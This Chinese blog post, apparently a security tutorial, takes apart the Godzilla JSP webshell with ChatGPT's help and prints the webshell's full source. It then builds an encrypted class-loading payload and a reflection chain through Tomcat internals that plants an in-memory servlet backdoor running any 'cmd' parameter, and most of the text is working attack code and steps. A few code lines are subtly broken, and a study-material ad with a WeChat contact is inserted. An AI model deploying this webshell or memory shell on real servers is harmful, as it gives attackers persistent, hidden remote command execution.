借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
前言本次分析使用了ChatGPT进行辅助分析，大大提升了工作效率，很快就分析出木马的工作流程和构造出利用方式。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416504.png
分析
[*]首先对该木马进行格式化,以增强代码的可读性。得到如下代码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:declaration>
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader
{
public X(ClassLoader z)
{
super(z);
}
public Class Q(byte[] cb)
{
return super.defineClass(cb, 0, cb.length);
}
}
/*
* 作用:AES解密
* m:true加密，False解密
* */
public byte[] x(byte[] s, boolean m)
{
try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch(Exception e)
{
return null;
}
}
/*
* 作用:md5加密
* */
public static String md5(String s)
{
String ret = null;
try
{
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new
java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
}
catch(Exception e)
{}
return ret;
}
/*
* 作用:base64加密
* */
public static String base64Encode(byte[] bs) throws Exception
{
Class base64;
String value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
/*
* base64解密
* */
public static byte[]base64Decode(String bs) throws Exception
{
Class base64;
byte[] value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
{
String.class
}).invoke(decoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
</jsp:declaration>
<jsp:scriptlet>
try
{
byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
data = x(data, false);//AES解密
if(session.getAttribute("payload") == null)
{
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
}
else
{
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
}
catch(Exception e){
response.getWriter().write(e.getMessage());
}
</jsp:scriptlet>
</jsp:root>
[*]前期可以交付ChatGPT初步分析，理清各个函数的基本作用：
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416506.png
[*]得知各个函数的基本功能之后我们主要看中的内容：
try
{
byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
data = x(data, false);//AES解密
if(session.getAttribute("payload") == null)
{
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
}
else
{
request.setAttribute("parameters", new String(data));
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
}
catch(Exception e){
response.getWriter().write(e.getMessage());
}
[*]可以看到首先会获取pass参数中的内容，进行base64解密获得一个字节数组，传入给x(),该函数第二个参数为true时候是进行加密，而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload")是否为null，若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下：
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416507.png
EXP构建
按照上述流程，我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP，恶意代码的构造，可以在静态代码段中进行编写，因为在类加载时候会自动调用静态代码段。
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）
exp.java
package exp;
import java.io.IOException;
public class exp {
static {
try {
Runtime.getRuntime().exec("touch /tmp/gg.txt");
} catch (IOException e) {
e.printStackTrace();
}
}
}
[*]编译为class
javac exp.java
[*]POC,我们可以利用木马中的x()、base64Encode当做EXP构成部分即可
package Fvck;
import java.io.*;
class Fvck{
public static byte[] readFileToByteArray(String filePath) {
File file = new File(filePath);
byte[] fileBytes = new byte[(int) file.length()];
try (FileInputStream fis = new FileInputStream(file)) {
fis.read(fileBytes);
} catch (IOException e) {
e.printStackTrace();
return null;
}
return fileBytes;
}
public static byte[] AesEncode(byte[] s, boolean m)
{
String xc = "3c6e0b8a9c15224a";
try
{
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
}
catch(Exception e)
{
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception
{
Class base64;
String value = null;
try
{
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e)
{
try
{
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]
{
byte[].class
}).invoke(Encoder, new Object[]
{
bs
});
}
catch(Exception e2)
{}
}
return value;
}
public static void main(String[] args) throws Exception {
String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
System.out.println(result);
}
}
内存马注入
寻找Request
Java Object Searcher
基本使用方法
[*]IDEA->File->Project Structure->SDKs->JDK home path，找到ClassPath地址
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416508.png
[*]将java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
[*]回到IDEA->File->Project Structure->SDKs，将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416509.png
[*]在Tomcat上随便找个地方断点，后打开Evaluate
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416510.png
[*]代码中设置日志输出文件夹,点击Evaluate
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416511.png
[*]在运行结束后会输出日志到保存的文件夹：
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416512.png
[*]在其中找一条链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
[*]创建一个线程根据上面链子寻找
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416513.png
代码编写
与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group，我们通过当前线程去获取该对象。
[*]获取group
Thread thread = Thread.currentThread();//获取线程对象
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416514.png
[*]获取threads
获取threads方法与获取group基本一致
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416510.png
我们链子下一个对象是这个数组的第18个元素，也就是下标为17的元素,直接通过下标获取即可，注意一下数据类型。
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads;https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416515.png
[*]获取target
在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中，我们直接使用这个包权限不够获取，因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够，因此需要用Object去代替.
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads;/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416516.png
[*]获取this$0
获取方法以及原因同上
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads;/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416517.png
[*]获取handler
这里我们直接同上方法会报错，我们用Class.forName去指定包来获取看看
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416518.png
我们却发现还是报错了,报错提示并不存在handler这个字段
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416519.png
我们直接从依赖中看，AbstractProtocol确实不存在handler，但是存在handler数据类型，并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416520.png
我们直接尝试从这个包获取handler,发现获取成功
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads;/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);/*获取handler*/Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416521.png
[*]获取global
在获取到handler之后直接通过getClass获取即可
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads;/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);/*获取handler*/Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);/*获取global*/Field globalField = handler.getClass().getDeclaredField("global");globalField.setAccessible(true);Object global = globalField.get(handler);
[*]回显链最终代码
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);Thread t17 = threads;/*获取target*/Field targetField = t17.getClass().getDeclaredField("target");targetField.setAccessible(true);Object target = targetField.get(t17);/*获取this$0*/Field this$0Field = target.getClass().getDeclaredField("this$0");this$0Field.setAccessible(true);Object this$0 = this$0Field.get(target);/*获取handler*/Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");handlerField.setAccessible(true);Object handler = handlerField.get(this$0);/*获取global*/Field globalField = handler.getClass().getDeclaredField("global");globalField.setAccessible(true);RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler);/*获取processors*/Field processorsField = global.getClass().getDeclaredField("processors");processorsField.setAccessible(true);ArrayList processors = (ArrayList)processorsField.get(global);Object p0 = processors.get(0);/*获取request*/Field reqField = p0.getClass().getDeclaredField("req");reqField.setAccessible(true);org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0);org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
[*]结合内存马
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class exp extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
String cmd = request.getParameter("cmd");
PrintWriter out = response.getWriter();
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
out.print(result);
} catch (Exception e) {
e.printStackTrace();
}
}
static {
try {
Thread thread = Thread.currentThread();
Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
group.setAccessible(true);
ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threads.setAccessible(true);
Thread[] thread1 = (Thread[]) threads.get(threadGroup);
Thread t17 = thread1;
Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global);
Object r0 = processors.get(0);
Field reqField = r0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性
applicationContextField.setAccessible(true);//设置该属性可访问性为True
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值
Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值
standarContextField.setAccessible(true);//设置该属性可访问性为True
StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
//注册Servlet
Wrapper wrapper = context.createWrapper();//创建一个Wrapper
wrapper.setName("MemShellServlet");//设置Servlet名字
wrapper.setServletClass(exp.class.getName());
wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet
context.addChild(wrapper);//添加进Context
context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping
} catch (Exception e) {
}
}
}
使用哥斯拉木马注入Tomcat Servlet内存马
[*]在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class，我们根据前面构造的EXP生成的base64，（注意需要url编码）
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416522.png
[*]需要访问两次才能触发
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416523.png
[*]成功注入内存马
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309041416524.png
更多网安技能的在线实操练习，请点击这里>>
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
页:
[1]